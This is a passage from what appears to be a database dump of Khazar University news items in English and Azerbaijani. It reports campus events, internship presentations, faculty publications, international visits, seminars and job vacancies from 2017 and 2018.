who took part in the event with huge interest, with information about philosophy of volunteering in our country, main spheres of the program and possibilities of participation in this program. The presentation was conducted in an interactive method which enabled the students to share their ideas and creative initiatives.</p><p>The students were also made familiar with advantages of becoming a volunteer in \"Formula-1\" European Grand Prix within official memorandum of cooperation made between “One” Student-Volunteer Program and Baku Ring Operating Company. As a result, students became enthusiastic in volunteering in \"Formula-1\" European Grand Prix.</p>'),(4577,2692,'en','A presentation of “BP summer experience-2018” at Khazar University','BP recruitment consultant Mehriban Shikhzamanova and a drilling engineer Farid Huseynov made a presentation of “BP summer experience-2018” for students...','<p style=\"background:undefined \">BP recruitment consultant Mehriban Shikhzamanova and a drilling engineer Farid Huseynov made a presentation of “BP summer experience-2018” for students at Khazar University on 1st of December, 2017.</p><p style=\"background:undefined \">Mehriban Shikhzamanova noted that all the students with relevant qualifications, who are the citizens of Azerbaijan and will graduate in 2019, can apply for this program. Students with appropriate documentation will go through 3-stage admission exam. Successful students will be employed from 2nd of June until 15th of September. A drilling engineer Farid Huseynov gave a motivational talk about his experience and achievements in this program.</p><p style=\"background:undefined \">BP employees answered the students’ questions at the end of the presentation.</p>'),(4578,2701,'en','The Second Day of “I Chinese week” Ends','On 5 December, the second day of “The First Chinese Week” was held under the slogan “Discover Traditional Art of China”...','<p>On 5 December, the second day of “The First Chinese Week” was held under the slogan “Discover Traditional Art of China”. Samira Orujova, an employee of Library-Information Centre made introductory remarks and provided the participants with information about Chinese folk art. Li Ya, Khazar University lecturer on Chinese language informed on symbols, Chinese Art of calligraphy and painting, and invited the event participants to practical trainings.<br></p>'),(5565,3204,'az','Mühəndislik və tətbiqi elmlər fakültəsində “Karyeranı AzəriKard ilə başla” adlı seminar baş tutdu','2018-ci il mayın 11-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin...','<p>2018-ci il mayın 11-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 3-cü kurs kompüter elmləri və kompüter mühəndisliyi ixtisası üzrə təhsil alan tələbələri üçün “<em>Karyeranı AzəriKard ilə başla</em>” adlı seminar keçirildi. Seminarda AzərKard şirkətinin əməkdaşları Müştərilərlə əlaqələr və biznesin inkişafı departamentinin direktoru Cahangir Məmmədov və İnsan Resursları üzrə menecer Elnarə Novruzova təqdimat ilə çıxış etdilər. C.Məmmədov təqdimatında şirkətin strukturu, həyata keçirdiyi layihələr, əməkdaşlıq etdikləri qurumlar və şirkətdə karyera, təcrübə imkanları haqqında məlumat verdi.</p><p>Seminarda İnformasiya Texnologiyaları Şöbəsinin müdiri Fərid Musayev, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Dr. Fəxrəndə Əlimərdanova və Karyera Mərkəzinin meneceri Səbinə Allahverənova da iştirak edirdi.</p><p>Sonda şirkətin nümayəndələri tələbəri maraqlandıran sualları cavablandırdılar.</p>'),(4692,2784,'az','Dillər və mədəniyyətlər departmentinin dosenti beynəlxalq simpoziumda','2017-ci il dekabrın 20-dən 22-dək Xəzər Universiteti Dillər və mədəniyyətlər departmentinin dosenti Elnurə Əzizova...','<p>2017-ci il dekabrın 20-dən 22-dək Xəzər Universiteti Dillər və mədəniyyətlər departmentinin dosenti Elnurə Əzizova Türkiyə Respublikası Türk Tarix Qurumunun təşkilatçılığı ilə hazırlanmış “100. yılında Bağdat ve Kûtu’l-Amâre” adlı beynəlxalq simpoziumda iştirak etdi. Dosent E.Əzizova simpoziumda “Kutul-Amarə mühasirəsində əsir düşmüş İngilis hərbiçilərin yazılarında türk və ərəb təsəvvürü” adlı məruzə ilə çıxış etdi.</p>'),(4690,2782,'az','Tələbələr İçərişəhərdə oldular','2017-ci il dekabrın 25-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci il tələbələrinə Tarix və arxeologiya...','<p>2017-ci il dekabrın 25-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci il tələbələrinə Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun tədris etdiyi arxeologiya fənni İçərişəhərdə –&nbsp;Qız qalası abidəsində və AMEA Arxeologiya və Etnoqrafiya İnstitutunun “Muzey-sərgi” zalında keçirildi. Azərbaycanın arxeoloji inkişafı tarixi və maddi-mədəni irsinin öyərnilməsi üçün bu dərs çox əhəmiyyətli idi.</p>'),(4579,2714,'az','AzərTAc Xəzər Universitetində keçirilən “I Çin həftəsi” adlı tədbirdən yazdı','2017-ci il dekabrın 8-də başda Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc) olmaqla, bir çox media orqanları Xəzər Universitetində keçirilən...','<p>2017-ci il dekabrın 8-də başda Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc) olmaqla, bir çox media orqanları Xəzər Universitetində keçirilən “I Çin həftəsi” adlı tədbir haqqında xəbər yaymışdır.</p><p>Bu linklər vasitəsilə daha geniş məlumat almaq olar:&nbsp;</p><p><a href=\"https://azertag.az/xeber/Azerbaycanda_ilk_defe_CHin_heftesi_teskil_olunub-1119190\">https://azertag.az/xeber/Azerbaycanda_ilk_defe_CHin_heftesi_teskil_olunub-1119190</a>;&nbsp;</p><p><a href=\"http://www.gununsesi.info/azərbaycanda-ilk-cin-həftəsi/\">http://www.gununsesi.info/azərbaycanda-ilk-cin-həftəsi/</a>;&nbsp;</p><p><a href=\"http://www.moderator.az/news/202718.html\">http://www.moderator.az/news/202718.html</a>.</p>'),(6079,3467,'en','Monograph by Ulviyya Ibrahimova published','On August 28, 2018, a monograph “The History of Azerbaijan in Mujmali Fasihi” by Ulviyya Ibrahimova, Instructor of the Department...','<p>On August 28, 2018, a monograph “<em>The History of Azerbaijan in Mujmali Fasihi</em>” by Ulviyya Ibrahimova, Instructor of the Department of History and Archeology, was published. The monograph includes the research on economic and political issues of Azerbaijan in the late XIV century and the early XV century, referring to “Mujmali Fasihi” written by Fasih Khavafi, a Herat historian. While conducting research, “Mujmali Fasihi” was considered as a new source for the study of Azerbaijani history. Moreover, the events that happened in the late XIV century and early the XV century were studied separately for the first time in Azerbaijani history by comparing the data provided by “Mujmali Fasihi” with other relevant sources written in Persian. The photos in the monograph are original taken by the author.</p>'),(4689,2781,'az','AMEA-nın Arxeologiya və Etnoqrafiya İnstitutunun şöbə müdiri ilə görüş','2017-ci il dekabrın 26-da Xəzər Universitetində arxeoloq, Azərbaycan Respublikasının Prezidenti yanında Elmin İnkişafı Fondu tərəfindən...','<p>2017-ci il dekabrın 26-da Xəzər Universitetində arxeoloq, Azərbaycan Respublikasının Prezidenti yanında Elmin İnkişafı Fondu tərəfindən “İlin alimi” mükafatına layiq görülmüş AMEA-nın Arxeologiya və Etnoqrafiya İnstitutunun şöbə müdiri t.ü.f.d Fərhad Quliyev Neolit inqilabı ilə bağlı təqdimat keçirdi. Dərsə başlamazdan əvvəl, Xəzər Universitetində müxtəlif kurslarda və ixtisaslarda təhsil alan 45 tələbənin iştirakı ilə və birinci kursdan iki tələbənin Fərhad Quliyev haqqında təqdimatı nümayiş olundu. Tədbiri&nbsp;idarə edən Tarix və arxeologiya departamentinin müdiri Roza Arazova açılış çıxışında arxeologiya elminin tədrisinin əhəmiyyətindən danışdı. Tədbir “Qədim Şərq tarixi” dərsi müddətində keçirildi. Dərs başa çatdıqdan sonra geniş müzakirə və sual-cavab baş tutdu.</p><p>Tələbələrin çoxsaylı sualları cavablandırıldı.</p>'),(4584,2718,'en','Rector of Khazar University visits Kozminski University and Warsaw Polytechnic University in Poland','Dr. Hassan Niknafs, the Rector of Khazar University along with Dr. Jeyhun Mammadov, the Dean of the Faculty of Economics and Management visit Kozminski...','<p>Dr. Hassan Niknafs, the Rector of Khazar University along with Dr. Jeyhun Mammadov, the Dean of the Faculty of Economics&nbsp;and Management visit Kozminski University and Warsaw University of Technology from December 4 through 8. In their visit to Kozminski University they met with:</p><br><ul><li>Professor Witold Bielecki, the Rector of Kozminski University</li><li>Dr. Powel Krzyworzeka, Dean of the Management Faculty</li><li>Dr. Powel Mielcarz, Head of the Finance Department</li><li>Joanna Kartasiewicz, Research Manager</li><li>Dona Duda, Head of the Admissions for International Program</li><li>Marcin Matyja, International Program Coordinator for Accreditation</li><li>Valentyna Guminska, Director of the International Relations</li></ul><br><p>The main subject for the meeting was concentrated in discussion for the process of obtaining EQUIS and EPAS Accreditation for Khazar University, School of Economics and Management. Khazar University will pursue EPAS Accreditation as the first step of this process. Also, in this meeting the possibility of a Dual-Degree program in Finance and Management was discussed in details and some positive agreements were made for establishing a Dual-Degree in between Kozminski University and Khazar University.</p><p>During this trip to Poland, Dr. Hassan Niknafs and Dr. Jeyhun Mammadov visited Warsaw University of Technology and they met with the Vice-Rector, Prof. Krzysztof Lewenstein. In this meeting a possibility of a Dual-Degree Program in Civil Engineering major was discussed and it will be pursued so that it can implemented for the Fall Semester 2018. Also, possibilities of a mutual research in the fields of Polymer Science and Nano-Technology seemed to be feasible in between the two universities.</p>'),(5933,3393,'en','Professor Hamlet Isakhanli\'s visit to Canada','On August 13-18, 2018, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board...','<p>On August 13-18, 2018, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, travelled to Canada together with Vladimir Mun, a film director.</p><p>The purpose of the visit was to walk through the traces of Hamlet Isakhanli\'s 1985-87 Canadian trips, to see the relevant universities, individuals and places, to make some filming and build new working relationships.</p><p>Hamlet Isakhanli had delivered lectures and speeches at conferences and seminars before at Toronto, Calgary and Dalhousie universities two of which, Toronto and Calgary universities, he recently visited. He met with two prominent mathematicians, Prof. Richard Gay, 102 years old and Prof. Peter Lancaster, 90 years old, who had attended his lectures delivered at Calgary University and currently are retired, face-to-face and through correspondence respectively.</p><p>Hamlet Isakhanli met with Professor Tony Ware, Head of the Department of Mathematics and Statistics at University of Calgary and they agreed to establish close relationships, especially on Mathematics and its applications, between the two universities.</p><p>Hamlet Isakhanli also visited, following the traces of the trips made in 1985-87, the famous Lake Louise, Banff National Park, Canada\'s famous national park and the Rocky Mountains, some peaks of which he had climbed before.</p>'),(4585,2706,'en','3rd Day of “I Chinese Week” on “Discover Traditional Chinese Cuisine” is over','On 6 December, the third day of “The First Chinese Week” titled “Discover Traditional Chinese Cuisine” was...','<p>On 6 December, the third day of “The First Chinese Week” titled “Discover Traditional Chinese Cuisine” was held at Khazar University.</p><p>Liu Lili, a specially invited chef and other invited Chinese cooks presented the participants the famous tea of Chinese cuisine, various dishes and sweets at the event.</p>'),(4586,2711,'en','4th Day of \"I Chinese Week\" on \"Discover Traditional Chinese Games\" is over','On 7 December, for the first time in Azerbaijan, “The First Chinese Week at Khazar University”, jointly organized by the Library-Information...','<p>On 7 December, for the first time in Azerbaijan, “The First Chinese Week at Khazar University”, jointly organized by the Library-Information Center of Khazar University and Hanban/Confucius Institute was successfully closed with its fourth day titled “Discover Traditional Chinese Plays”. Li Ya, International Chinese language and Culture instructor of Khazar University and the staff of Confucius Institute actively participated in the closing ceremony of the Week, while prof. Gaojunxia demonstrated the students the Tai Chi – Chinese Martial Art.</p><p>Active students and teachers of Confucius Institute were complemented with presents at the end of the event.</p>'),(4587,2715,'en','An article of School of Economics and Management Staff Member in Scopus Indexed Journal','The research paper “The Relationship between Energy Consumption and Economic Growth: Evidence from Azerbaijan” by Dr. Shahriyar Mukhtarov...','<p>The research paper “<strong><em>The Relationship between Energy Consumption and Economic Growth: Evidence from Azerbaijan</em></strong>” by Dr. Shahriyar Mukhtarov, vice dean of the Faculty of Economics and Management at Khazar University, was published in <strong>International Journal of Energy Economics and Policy, No 6, Vol 7, 2017</strong>. The journal is indexed by SCOPUS, the prestigious abstract and citation database of peer-reviewed literature.</p><p>The study investigates the causal relationship between energy consumption and economic growth in Azerbaijan using annual data covering the period from 1990 to 2015. Toda-Yamamoto causality test framework of vector autoregressive (VAR) model was used to test causal relationship between the variables. The results of this test show that there is bidirectional causality between energy consumption and economic growth.</p><p>The paper is available at:</p><p><a href=\"http://www.econjournals.com/index.php/ijeep/article/view/5644\">http://www.econjournals.com/index.php/ijeep/article/view/5644</a>.  <br></p>'),(4591,2719,'az','Xəzər Universitetinin məzunu AGF-in Baş katibi vəzifəsinə seçildi','Xəbər verildiyi kimi, 2003-cü ildə Xəzər Universitetindən ingilis dili və ədəbiyyatı ixtisası üzrə magistr dərəcəsi almış Nurlana Məmmədzadə...','<p>Xəbər verildiyi\r\nkimi, 2003-cü ildə Xəzər Universitetindən\r\ningilis dili və ədəbiyyatı ixtisası üzrə magistr dərəcəsi almış Nurlana Məmmədzadə Azərbaycan Gimnastika Federasiyasının\r\nBaş katibi vəzifəsinə seçilmişdir.</p>\r\n<p>Qeyd edək ki,\r\nN.Məmmədzadə 2007-2009-cu illərdə federasiyanın baş katibinin köməkçisi,\r\n2009-cu ildən bu günədək müavini vəzifəsində çalışmışdır.</p>\r\n<p>Bu linklər vasitəsilə daha geniş məlumat\r\nəldə etmək olar:</p>\r\n<p><a href=\"https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;\">https://milletinsesi.info/index.php?view=article&amp;id=36208&amp;dil=az;</a></p>\r\n<p><a href=\"http://www.xezerxeber.az/idman/186069.html\">http://www.xezerxeber.az/idman/186069.html</a>;</p>\r\n<p><a href=\"http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/\">http://qlobal.az/mehriban-eliyevanin-rehberlik-etdiyi-qurumda-kadr-teyinati/</a>;</p>\r\n<p><a href=\"http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-%C9%99liyevan%C4%B1n-r%C9%99hb%C9%99rlik-etdiyi-qurumda-kadr-t%C9%99yinat%C4%B1.html\">http://www.dosye.org/ust-khaebaer-lenti/34576-mehriban-əliyevanın-rəhbərlik-etdiyi-qurumda-kadr-təyinatı.html</a>;</p>\r\n<p><a href=\"http://istiqlal.az/news/46022.html\">http://istiqlal.az/news/46022.html</a>;</p>\r\n<p><a href=\"http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib\">http://www.1news.az/az/news/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-teyin-edilib</a>;</p>\r\n<p><a href=\"http://youthportal.az/az/news/detail.php?ID=119209\">http://youthportal.az/az/news/detail.php?ID=119209</a>;</p>\r\n<p><a href=\"http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib\">http://kaspi.az/az/azerbaycan-gimnastika-federasiyasina-yeni-bas-katib-secilib</a>;</p>\r\n<p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://www.aznews.az/news/cemiyyet/159016.html;</a></p>\r\n<p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">https://millixeber.az/agf-ə-yeni-bas-katib-təyin-edildi/;</a></p><p><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\"></a><a href=\"http://www.aznews.az/news/cemiyyet/159016.html;%0dhttps:/millixeber.az/agf-%C9%99-yeni-bas-katib-t%C9%99yin-edildi/;%0dhttp:/yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.\">http://yenixeber.org/43124-agf-e-yeni-prezident-sechildi.html.</a></p>'),(4589,2710,'en','The course on \"Revenue Management in Natural Resource-rich Countries\" ends','The course \"Revenue management in natural resource-rich countries\" held by Eurasia Knowledge Center, Khazar University, ended on December 7, 2017...','<p>The course \"Revenue management in natural resource-rich countries\" held by Eurasia Knowledge Center, Khazar University, ended on December 7, 2017. On the last day of the event, the 22 participants from 6 countries received relevant guidance on policy documents to be prepared at the next stage.</p><p>At the end of the event, Prof. Mahammad Nuriyev, Vice-rector of Khazar University, and Simone Haeberli, Deputy&nbsp;Regional Director of the Swiss Cooperation&nbsp;Office, presented certificates to the participants.</p><p>The participants noted that the course was very useful and thanked Khazar University for the conditions created.</p>'),(4590,2714,'en','AzerTAc wrote about the event \"I Chinese Week\" held at Khazar University','On December 8, 2017, many media bodies, including the Azerbaijani State Information Agency (AzerTAc), have released the news about the event called...','<p>On December 8, 2017, many media bodies, including the Azerbaijani State Information Agency (AzerTAc), have released the news about the event called \"I Chinese Week\" held at Khazar University.</p><p>More information is available through the following links:</p><p style=\"background:undefined \"><a href=\"https://azertag.az/xeber/Azerbaycanda_ilk_defe_CHin_heftesi_teskil_olunub-1119190\">https://azertag.az/xeber/Azerbaycanda_ilk_defe_CHin_heftesi_teskil_olunub-1119190</a>;&nbsp;</p><p><a href=\"http://www.gununsesi.info/az%C9%99rbaycanda-ilk-cin-h%C9%99ft%C9%99si/\">http://www.gununsesi.info/azərbaycanda-ilk-cin-həftəsi/</a>;&nbsp;</p><p><a href=\"http://www.moderator.az/news/202718.html\">http://www.moderator.az/news/202718.html</a>.</p>'),(4594,2721,'az','Hamlet İsaxanlıya “Təşəkkür məktubu” göndərildi','2017-ci il dekabrın 11-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı BDU-nun Konfutsi İnstitutunun...','<p>2017-ci il dekabrın 11-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı BDU-nun Konfutsi İnstitutunun Beynəlxalq Çin dili və mədəniyyəti üzrə tədqiqatşısı Li Yadan “Təşəkkür məktubu” almışdır. Məktubda dekabrın 4-dən 7-dək Xəzər Universitetində keçirilmiş “I Çin mədəniyyəti həftəsi”nin yüksək səviyyədə baş tutmasına görə, şəxsən Professor Hamlet İsaxanlıya, Kitabxana-İnformasiya Mərkəzinin əməkdaşları –&nbsp;Samirə Orucova və Aytac Misgərliyə və əməyi olan hər kəsə təşəkkür edilir və gələcəkdə də Xəzər Universiteti ilə mədəniyyət və tədqiqat sahəsində əməkdaşlığın vacibliyi vurğulanır.</p>'),(4601,2729,'az','AMEA-nın Mərkəzi Kitabxanasında Macarıstanın qurucusuna həsr olunmuş tədbir baş tutdu','2017-ci il dekabrın 12-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi t.ü.f.d. Təranə İsayeva Macarıstanın Azərbaycandakı səfirliyinin...','<p>2017-ci il dekabrın 12-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi t.ü.f.d. Təranə İsayeva Macarıstanın Azərbaycandakı səfirliyinin AMEA-nın Mərkəzi Kitabxanasında keçirdiyi müasir Macarıstanın banisi, Macarıstan Elmlər Akademiyasının yaradıcısı iqtisadçı, yazıçı, siyasət nəzəriyyəçisi İştvan Seçeniyə həsr olunmuş tədbirdə iştirak etdi. Tədbirdə Macarıstan Elmlər Akademiyasının professoru Zolton Fonagy çıxış etdi. Sonra Macarıstanın Azərbaycandakı səfiri Viktor Szederkenyi çıxış edərək, iki ölkə arasındakı əlaqələrin inkişafı istiqamətində görülən işlərdən söhbət açdı. Tədbirdə Azərbaycanın Macarıstandakı səfiri Vilayət Quliyev çıxış edərək, İştvan Seçeni ilə Hacı Zeynalabdin Tağıyevin oxşar cəhətlərini müqayisə etdi.</p>'),(6024,3440,'az','Erasmus+ PAWER layihəsi çərçivəsində regional konfrans olacaq','2018-ci il oktyabr 5-də Xəzər Universiteti Erasmus+ PAWER layihəsi çərçivəsində bir günlük...','<p><img src=\"/files/admin/news-events/roll-up_pawer.jpg\" style=\"border:0px  #000000;float:left;width:250px;height:581px;margin-right:7px\">2018-ci il oktyabrın 5-də Xəzər Universiteti Erasmus+ PAWER layihəsi çərçivəsində bir günlük regional konfrans təşkil edəcək. Konfransda Azərbaycan Respublikası Təhsil Nazirliyi, Xəzər Universiteti, Bakı Mühəndislik Universiteti, Gürcüstanın İlia Cavcavadze adına Dövlət Universiteti, Akaki Tsereteli Dövlət Universiteti, Batumi Dövlət Universiteti və Gürcüstan Respublikasının Təhsil, Elm, İdman və Mədəniyyət Nazirliyinin nümayəndələrinin iştirakı nəzərdə tutulur.</p><p>Tədbir layihədə həyata keçirilmiş işlərin geniş ictimaiyyətə çatdırılması məqsədini daşıyır.</p>'),(4602,2730,'az','“İnnovasiya və tərəqqinin açarı internet” devizi altında forum keçirildi','2017-ci il dekabrın 7-də ADA Universitetində BMT İnkişaf Proqramının Azərbaycan nümayəndəliyi, ADA Universiteti və Azərbaycan Respublikasının...','<p>2017-ci il dekabrın 7-də ADA Universitetində BMT İnkişaf Proqramının Azərbaycan nümayəndəliyi, ADA Universiteti və Azərbaycan Respublikasının Nəqliyyat, Rabitə və Yüksək Texnologiyalar Nazirliyi, BMT-nin İnternet İdarəçilik Forumu üzrə Cenevrə Katibliyi və BMT-nin İqtisadi və Sosial Məsələlər üzrə departamenti tərəfindən “<strong><em>İnnovasiya və tərəqqinin açarı internet</em></strong>” devizi altında təşkil olunmuş 5-ci Regional İnternet İdarəçilik Forumu keçirildi. Forumda xarici ölkələrin Azərbaycanda fəaliyyət göstərən diplomatik korpuslarının rəhbərləri, nazirlər, millət vəkilləri, bir sıra universitetlərin nümayəndələri, QHT rəhbərləri iştirak edirdilər. Forumun açılışında universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli iştirak etdi.</p>'),(4604,2732,'az','SOCAR-ın daxili təqaüd proqramının qalibləri müəyyənləşdi','2017-ci il dekabrın 13-də SOCAR TOWER-də şirkətin əsas sosial məsuliyyət layihələrindən olan Daxili Təqaüd Proqramı çərçivəsində...','<p>2017-ci il dekabrın 13-də SOCAR TOWER-də şirkətin əsas sosial məsuliyyət layihələrindən olan Daxili Təqaüd Proqramı çərçivəsində 2016/2017-ci tədris ilinin nəticələrinə əsasən təqaüd qazanmış 70 tələbənin təqaüd kartlarının təqdim olunma mərasimi keçirildi. Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 3 tələbəsi –&nbsp;Asif Həsənli (Kimya mühəndisliyi), Murad Tapdıqlı (İnşaat mühəndisliyi), Aqşin Babayev (Neft mühəndisliyi) bu proqramın qalibləri arasında idilər. Təqaüdün məbləği hər tələbə üçün bir il ərzində 1000 AZN təşkil edir.</p><p>Tədbirdə SOCAR rəhbərliyinin nümayəndələri, Azərbaycan Respublikasının Prezidenti yanında Vətəndaşlara Xidmət və Sosial İnnovasiyalar üzrə Dövlət Agentliyinin təmsilçiləri, ölkədə fəaliyyət göstərən ali təhsil ocaqlarının rəhbərləri iştirak etmişdir.</p>'),(4605,2726,'az','Departament Xəbərləri','','<h3>“Xocasən gölünün su balansı” mövzusunda seminar keçirildi</h3><p>06.12.2017 tarixində Xəzər Universiteti Coğrafiya və ərtaf mühit departamentinin təşkil etdiyi “Xocasən gölünün su balansı” mövzusunda seminar keçirildi. Seminarda “Təmiz Şəhər” ASC-dan Sabit Zeyniyev, “Milli Elmlər Akademiyas”ının nümayəndələri Rövşən Kərimov, Məhəmməd Abduyev, Elnur Səfərov, “Ekologiya və Təbii Sərvətlər Nazirliyi”ndən Asif Verdiyev, “Azərsu” ASC-dan Rəşail İsmayılov, Vüsal Poladov, “Socar”dan Tural Məhərrəmov, Ramin Hüseynli, “Caspian Geomatics” şirkətindən Elvin Alıyev, “Milli Hidrometerologiya Departamenti”ndən Vasif Yahyayev iştirak etmişdir. Sonda Rövşən Abbasov qonaqlarımızın suallarını cavablandırdı. <br></p><h3><br></h3><h3>Departamentin müdiri Dünya Bankının və Təmiz Şəhər ASC-nin&nbsp;əməkdaşları ilə görüşdü</h3>  <p>04.12.2017 tarixində Xəzər Universiteti Coğrafiya və Ətraf Mühit Departamentinin müdiri Rövşən Abbasov Təmiz Şəhər ASC-nin əməkdaşları Etibar Abbasov, Səbuhi Mehdizadə, Sabit Zeyniyev və Dünya Bankının əməkdaşı Gülana Hacıyeva ilə görüşmüş və Xocəsən gölünün su balansı problemlərini müzakirə etmişdir.</p>'),(4606,2726,'en','Department News','Department News','<h3>Seminar on \"Water balance of the Khojasan lake\" was held&nbsp;</h3><p>On 06.12.2017 a seminar on \"Water Balance of Khojasan Lake\" was organized by Khazar University Geography and Environment Department. Representatives of the National Academy of Sciences Rovshan Kerimov, Mohammad Abduyev, Elnur Safarov, Asif Verdiyev from the Ministry of Ecology and Natural Resources, Rashail Ismayilov, Vusal Poladov from \"Azersu\" OJSC, and Sabit Zeyniyev from \"Tamiz Shahar\" Tural Maharramov from SOCAR, Ramin Huseynli, Elvin Aliyev from Caspian Geomatics and Vasif Yahyayev from National Hydrometeorology Department. At the end, Rovshan Abbasov answered questions from our guests.  <br>  </p><h3><br></h3><h3>Head of the Department met with World Bank employees</h3>  <p>On December 4, 2017, Rovshan Abbasov, Head of the Department of Geography and the Environment met with employees of ‘Temiz Sheher’ ASC and World Bank and discussed water balance issues in Khojasan Lake.&nbsp;</p>'),(4607,2733,'az','Elanlar','Elanlar','<p>2017-ci il dekabrın 6-sı saat 11:00-da Xəzər Universiteti Coğrafiya və ərtaf mühit departamenti “Xocasən gölünün su balansı” mövzusunda seminar təşkil edəcək. Seminarda dövlət qurumlarının, universitetlərin və Milli Elmlər Akademiyasının nümayəndələri iştirak edəcəklər.</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun konfrans zalında (otaq 102N) baş tutacaq.</p><p>Maraqlananlar dəvət olunurlar.</p><p><br></p><p><img src=\"/files/geography_depart/23755018_514796062215460_2095983023024496631_n.jpg\" style=\"border:0px  #000000;width:300px;height:422px;margin:7px;float:left\"><br></p>'),(4608,2733,'en','Announcements','Announcements','<p>On December 6, 2017, at 11:00 a.m., the Department of Geography and the Environment of Khazar University will conduct a seminar on ‘Water Balance of the Khojasan Lake’. The seminar will be attended by representatives of state organisations, universities and National Academy of Sciences.</p><p>The seminar will take place at the conference hall of the Neftchiler campus (room 102N) at Khazar University.</p><p>Those interested are invited.</p><p><br></p><p><img src=\"/files/geography_depart/23755018_514796062215460_2095983023024496631_n.jpg\" style=\"border:0px  #000000;width:300px;height:422px;margin:7px;float:left\"><br></p>'),(4609,2734,'az','Elanlar','Elanlar',''),(4610,2734,'en','Gallery','Gallery',''),(4612,2731,'en','Ambassador of Malaysia sent a Letter of gratitude to Prof. Hamlet Isakhanli','Mr. Roslan Bin Abdul Rahman, Extraordinary and Plenipotentiary Ambassador of Malaysia sent a letter of gratitude to Prof. Hamlet Isakhanli...','<p>Mr. Roslan Bin Abdul Rahman, Extraordinary and Plenipotentiary Ambassador of Malaysia sent a letter of gratitude to Prof. Hamlet Isakhanli,&nbsp;founder of Khazar University and Chairman of the Board of Directors and Trustees for His assistance in organisation of the events at Khazar University within the framework of the 13<sup>th</sup>&nbsp;Academic Tour of the University of Malaysia Perlis on November 20-26, 2017.&nbsp;&nbsp;</p>'),(5268,3053,'en','Training for Teaching and Administrative Staff','A training, within “Advocacy Establishment for Students through Ombudsman Position...','<p>A training, within “Advocacy Establishment for Students through Ombudsman Position” (AESOP), Erasmus+ project, is to be held for teaching and administrative staff of Khazar University in the training hall (on the fifth floor of the new building) at 10 am – 2 pm, March 29, 2018. The aim of the training is to enlighten university staff about the structure and obligations of schools and departments as well as internal discipline of the university and rights and duties of the students. Moreover, the staff will be informed about the project and newly established Ombudsman Office.</p><p>All the members of the staff, especially those who are in close relations with the students, are requested to participate in this training. Please confirm your participation by email at&nbsp;<a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>&nbsp;by March 28, 2018.</p><p>We would be delighted to welcome you.</p>'),(4613,2735,'az','Vakansiya: Siyasi elm və beynəlxalq münasibətlər departamenti inzibati köməkçi/laborant vəzifəsinə işçi axtarır','Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamenti inzibati köməkçi/laborant vəzifəsi üçün vakansiya elan edir...','<p>Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamenti inzibati köməkçi/laborant vəzifəsi üçün vakansiya elan edir.</p><p>Müraciət edən namizədlər minimum bu tələblərə cavab verməlidirlər:</p><p></p><ul><li>Uyğun ixtisas üzrə minimum bakalavr təhsili;</li><li>Azərbaycan və ingilis dillərini mükəmməl bilməli (rus dili arzu olunandır);</li><li>Kompüter proqramları və Microsoft Office (Word, PowerPoint, MS Project, Excel) proqramları ilə sərbəst işləmək bacarığı;</li><li>İntizamlı və məsuliyyətli olmaq və verilən işləri vaxtında və peşəkarlıqla icra etmək bacarığı.</li></ul><p></p><p>Maraqlananlar, <strong>dekabrın 30</strong>-dan gec olmayaraq, CV-lərini Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevə göndərə bilərlər: <a href=\"mailto:elmar.mustafayev@khazar.org\">elmar.mustafayev@khazar.org</a>.</p>'),(5220,3028,'en','Foundation meeting of “Khazar University Friends Fund”','On March 9, 2018, foundation meeting of “Khazar University Friends Fund” was held on organizational...','<p>On March 9, 2018, foundation meeting of “Khazar University Friends Fund” was held on organizational support of Khazar Alumni Association and Center for Alumni Relations. Baba Bayramli, Director of the Center for Alumni Relations, informed participants about objectives and duties as well as rights and spheres of activities of the Fund to be established. Participants discussed and approved the Charter of the Fund. Participants elected members of the Board of Trustees, the supervisory body of the fund, through open voting. Khalig Dadashov, Director for Strategy and Development on Europe, BP company, Shafag Mehraliyeva, Head of Rector Office of ADA University, and Jabir Mammadli, Coordinator of Department of Journalism, were elected Chairman, Vice-Chairman and Secretary of the Council, respectively. Ramal Ahmadov, Leading Expert of Head Office of Kapital Bank, and Raziya 